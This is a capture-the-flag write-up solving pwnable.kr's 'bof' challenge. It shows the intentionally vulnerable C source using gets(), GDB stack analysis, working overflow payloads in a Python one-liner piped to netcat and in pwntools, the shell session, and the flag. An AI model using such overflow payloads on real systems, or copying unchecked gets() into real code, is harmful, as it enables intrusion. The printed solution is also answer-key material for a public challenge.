In this challenge, there's no shell. Instead we download some files and use
netcat to connect to a remote host running what is presumably the bof
binary. We will likely have to employ a buffer overflow to capture the flag.
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
Let's take a look at bof
:
$ file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped
Running bof
locally, we get a prompt and a hint: "overflow me". Entering a random string
results in "Nah...".
$ nc pwnable.kr 9000
overflow me :
hello
Nah..
Let's take a look at the source code provided:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
This program passes 0xdeadbeef
to func()
as key
. A buffer is created with
a length of 32. gets
is used to read a string from stdin into
overflowme
. Finally, key
is compared to 0xcafebabe
and if they are equal,
we are given a shell.
From the man page for gets()
:
gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0'). No check for buffer overrun is performed (see BUGS below)."
So now we know that gets
will happily read more bytes than the buffer will
hold. We need to somehow overwrite key
with the value 0xcafebabe
.
Let's open the binary in GDB:
gdb ./bof
If we disassembly func
, we can see the compare against 0xcafebabe
at +40
.
(gdb) disas func
Dump of assembler code for function func:
0x5655562c <+0>: push %ebp
0x5655562d <+1>: mov %esp,%ebp
0x5655562f <+3>: sub $0x48,%esp
0x56555632 <+6>: mov %gs:0x14,%eax
0x56555638 <+12>: mov %eax,-0xc(%ebp)
0x5655563b <+15>: xor %eax,%eax
0x5655563d <+17>: movl $0x5655578c,(%esp)
0x56555644 <+24>: call 0xf7df6880 <puts>
0x56555649 <+29>: lea -0x2c(%ebp),%eax
0x5655564c <+32>: mov %eax,(%esp)
0x5655564f <+35>: call 0xf7df5ee0 <gets>
0x56555654 <+40>: cmpl $0xcafebabe,0x8(%ebp)
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: movl $0x5655579b,(%esp)
0x56555664 <+56>: call 0xf7dcbcd0 <system>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: movl $0x565557a3,(%esp)
0x56555672 <+70>: call 0xf7df6880 <puts>
0x56555677 <+75>: mov -0xc(%ebp),%eax
0x5655567a <+78>: xor %gs:0x14,%eax
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0xf7eb4e40 <__stack_chk_fail>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
Let's set a breakpoint there:
(gdb) break *func+40
Breakpoint 1 at 0x56555654
Let's run it. We know the buffer expects 32 bytes, so let's give it some sentinel values to find them on the stack.
(gdb) run
overflow me :
aaaabbbbccccddddeeeeffffgggghhhh
Breakpoint 1, 0x56555654 in func ()
We hit our breakpoint. Let's examine the stack:
(gdb) x/24x $esp
0xffffd290: 0xffffd2ac 0x00000020 0x00000000 0xffffd454
0xffffd2a0: 0x00000000 0x00000000 0x01000000 0x61616161
0xffffd2b0: 0x62626262 0x63636363 0x64646464 0x65656565
0xffffd2c0: 0x66666666 0x67676767 0x68686868 0x62f5e700
0xffffd2d0: 0xffffd310 0xf7fbe66c 0xffffd2f8 0x5655569f
0xffffd2e0: 0xdeadbeef 0x00000000 0xf7faa000 0xf7ea283b
We can see our input (0x61..0x68
) starting at 0xffffd2ac
and ending at
0xffffd2c8
. So we need to overflow the buffer until it overwrites 0xdeadbeef
at 0xffffd2e0
. That's 52 bytes past the start of our input, or 13 double words
(chunks of 4 bytes). So we need 52 bytes of filler and the value we want to
overwrite, 0xcafebabe
.
To generate the bytes we need, we can use Python. Note that we need reverse the
order of the bytes in 0xcafebabe
because x86 is little endian. We need to
use sys.stdout.buffer.write
instead of print
because we need the raw bytes
output and not have it interpreted as UTF-8.
$ python -c "import sys; \
payload = b'\xca\xfe\xba\xbe'[::-1]*14; \
sys.stdout.buffer.write(payload)" \
| od -v -tx
0000000 cafebabe cafebabe cafebabe cafebabe
0000020 cafebabe cafebabe cafebabe cafebabe
0000040 cafebabe cafebabe cafebabe cafebabe
0000060 cafebabe cafebabe
Let's try our payload against the target. We need to wrap the Python program in
a sub shell with cat
in order to keep stdin open. Nothing will be printed at
first, but if hit return once, we'll be in the shell and can execute ls
to see
what we have access to and finally cat flag
to get the flag.
$ (python -c "import sys; \
payload = b'\xca\xfe\xba\xbe'[::-1]*14; \
sys.stdout.buffer.write(payload)" \
; cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
super.pl
cat flag
daddy, I just pwned a buFFer :)
In the future, we can use pwntools to make our attack easier to write and execute:
from pwn import *
payload = p32(0xcafebabe)*14
conn = remote("pwnable.kr", 9000)
conn.sendline(payload)
conn.interactive()
$ python bof.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
daddy, I just pwned a buFFer :)